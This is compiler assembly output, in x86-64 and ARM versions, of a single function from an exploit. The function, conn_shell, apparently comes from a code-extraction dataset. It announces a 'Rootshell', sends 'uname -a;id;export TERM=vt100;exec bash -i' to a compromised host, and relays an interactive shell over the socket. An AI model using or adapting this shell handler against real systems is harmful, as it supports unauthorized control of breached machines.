	.file	"extr_934.c_conn_shell.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	" #\n # Kill two bird with one stone!\n"
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC1:
	.string	" # OK, It's Rootshell\n #\n\n"
	.section	.rodata.str1.8
	.align 8
.LC2:
	.string	"uname -a;id;export TERM=vt100;exec bash -i\n"
	.section	.rodata.str1.1
.LC3:
	.string	" #\n # Happy Exploit !\n #\n\n"
.LC4:
	.string	"%s"
	.text
	.p2align 4
	.globl	conn_shell
	.type	conn_shell, @function
conn_shell:
.LFB0:
	.cfi_startproc
	endbr64
	push	r15
	.cfi_def_cfa_offset 16
	.cfi_offset 15, -16
	mov	edx, 1024
	xor	esi, esi
	lea	r15, .LC4[rip]
	push	r14
	.cfi_def_cfa_offset 24
	.cfi_offset 14, -24
	push	r13
	.cfi_def_cfa_offset 32
	.cfi_offset 13, -32
	push	r12
	.cfi_def_cfa_offset 40
	.cfi_offset 12, -40
	push	rbp
	.cfi_def_cfa_offset 48
	.cfi_offset 6, -48
	mov	ebp, edi
	push	rbx
	.cfi_def_cfa_offset 56
	.cfi_offset 3, -56
	lea	r13d, 1[rbp]
	sub	rsp, 1064
	.cfi_def_cfa_offset 1120
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR 1048[rsp], rax
	xor	eax, eax
	lea	r14, 16[rsp]
	lea	rbx, 12[rsp]
	mov	rdi, r14
	call	memset@PLT
	mov	edi, DWORD PTR stdout[rip]
	lea	rsi, .LC0[rip]
	call	fprintf@PLT
	mov	edi, DWORD PTR stdout[rip]
	lea	rsi, .LC1[rip]
	call	fprintf@PLT
	lea	rdi, .LC2[rip]
	call	strlen@PLT
	xor	ecx, ecx
	lea	rsi, .LC2[rip]
	mov	edi, ebp
	mov	edx, eax
	call	send@PLT
	jmp	.L4
	.p2align 4,,10
	.p2align 3
.L2:
	mov	edi, DWORD PTR STDIN_FILENO[rip]
	mov	rsi, rbx
	call	FD_ISSET@PLT
	test	rax, rax
	jne	.L16
.L4:
	mov	edi, DWORD PTR stdout[rip]
	call	fflush@PLT
	mov	rdi, rbx
	call	FD_ZERO@PLT
	mov	rsi, rbx
	mov	edi, ebp
	call	FD_SET@PLT
	mov	edi, DWORD PTR STDIN_FILENO[rip]
	mov	rsi, rbx
	call	FD_SET@PLT
	xor	r8d, r8d
	xor	ecx, ecx
	xor	edx, edx
	mov	rsi, rbx
	mov	edi, r13d
	call	select@PLT
	mov	rsi, rbx
	mov	edi, ebp
	call	FD_ISSET@PLT
	test	rax, rax
	je	.L2
	mov	edx, 1024
	mov	rsi, r14
	mov	edi, ebp
	call	read@PLT
	movsx	r12, eax
	test	r12d, r12d
	jle	.L17
.L3:
	mov	rsi, r14
	mov	rdi, r15
	mov	BYTE PTR 16[rsp+r12], 0
	call	printf@PLT
	jmp	.L2
	.p2align 4,,10
	.p2align 3
.L16:
	mov	edi, DWORD PTR STDIN_FILENO[rip]
	mov	edx, 1024
	mov	rsi, r14
	call	read@PLT
	mov	edx, eax
	test	eax, eax
	jle	.L4
	cdqe
	mov	rsi, r14
	mov	edi, ebp
	mov	BYTE PTR 16[rsp+rax], 0
	call	write@PLT
	jmp	.L4
	.p2align 4,,10
	.p2align 3
.L17:
	mov	edi, DWORD PTR stdout[rip]
	lea	rsi, .LC3[rip]
	call	fprintf@PLT
	xor	edi, edi
	call	exit@PLT
	jmp	.L3
	.cfi_endproc
.LFE0:
	.size	conn_shell, .-conn_shell
	.comm	stdout,4,4
	.comm	STDIN_FILENO,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_934.c_conn_shell.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	" #\012 # Kill two bird with one stone!\012\000"
	.align	2
.LC1:
	.ascii	" # OK, It's Rootshell\012 #\012\012\000"
	.align	2
.LC2:
	.ascii	"uname -a;id;export TERM=vt100;exec bash -i\012\000"
	.align	2
.LC3:
	.ascii	" #\012 # Happy Exploit !\012 #\012\012\000"
	.align	2
.LC4:
	.ascii	"%s\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC5:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	conn_shell
	.syntax unified
	.arm
	.fpu softvfp
	.type	conn_shell, %function
conn_shell:
	@ args = 0, pretend = 0, frame = 1032
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, r10, fp, lr}
	mov	r4, r0
	sub	sp, sp, #1040
	sub	sp, sp, #4
	ldr	r3, .L18
	ldr	r7, .L18+4
	mov	r2, #1024
	mov	r1, #0
	add	r0, sp, #12
	ldr	r3, [r3]
	str	r3, [sp, #1036]
	mov	r3,#0
	bl	memset
	ldr	r1, .L18+8
	ldr	r0, [r7]
	bl	fprintf
	ldr	r1, .L18+12
	ldr	r0, [r7]
	bl	fprintf
	mov	r0, r4
	mov	r3, #0
	mov	r2, #43
	ldr	r1, .L18+16
	bl	send
	ldr	r5, .L18+20
	ldr	r9, .L18+24
	ldr	r10, .L18+28
	add	r8, r4, #1
.L5:
	mov	r6, #0
	b	.L4
.L2:
	ldr	r0, [r5]
	add	r1, sp, #8
	bl	FD_ISSET
	cmp	r0, #0
	bne	.L16
.L4:
	ldr	r0, [r7]
	bl	fflush
	add	r0, sp, #8
	bl	FD_ZERO
	add	r1, sp, #8
	mov	r0, r4
	bl	FD_SET
	add	r1, sp, #8
	ldr	r0, [r5]
	bl	FD_SET
	mov	r3, #0
	add	r1, sp, #8
	mov	r2, r3
	mov	r0, r8
	str	r6, [sp]
	bl	select
	mov	r0, r4
	add	r1, sp, #8
	bl	FD_ISSET
	cmp	r0, #0
	beq	.L2
	mov	r2, #1024
	mov	r0, r4
	add	r1, sp, #12
	bl	read
	subs	fp, r0, #0
	ble	.L17
.L3:
	add	r3, sp, #1040
	add	fp, r3, fp
	mov	r0, r9
	add	r1, sp, #12
	strb	r6, [fp, #-1028]
	bl	printf
	b	.L2
.L16:
	mov	r2, #1024
	ldr	r0, [r5]
	add	r1, sp, #12
	bl	read
	subs	r2, r0, #0
	ble	.L5
	mov	ip, #0
	add	r3, sp, #1040
	add	r3, r3, r2
	mov	r0, r4
	add	r1, sp, #12
	strb	ip, [r3, #-1028]
	bl	write
	b	.L5
.L17:
	mov	r1, r10
	ldr	r0, [r7]
	bl	fprintf
	mov	r0, #0
	bl	exit
	b	.L3
.L19:
	.align	2
.L18:
	.word	.LC5
	.word	stdout
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	STDIN_FILENO
	.word	.LC4
	.word	.LC3
	.size	conn_shell, .-conn_shell
	.comm	stdout,4,4
	.comm	STDIN_FILENO,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
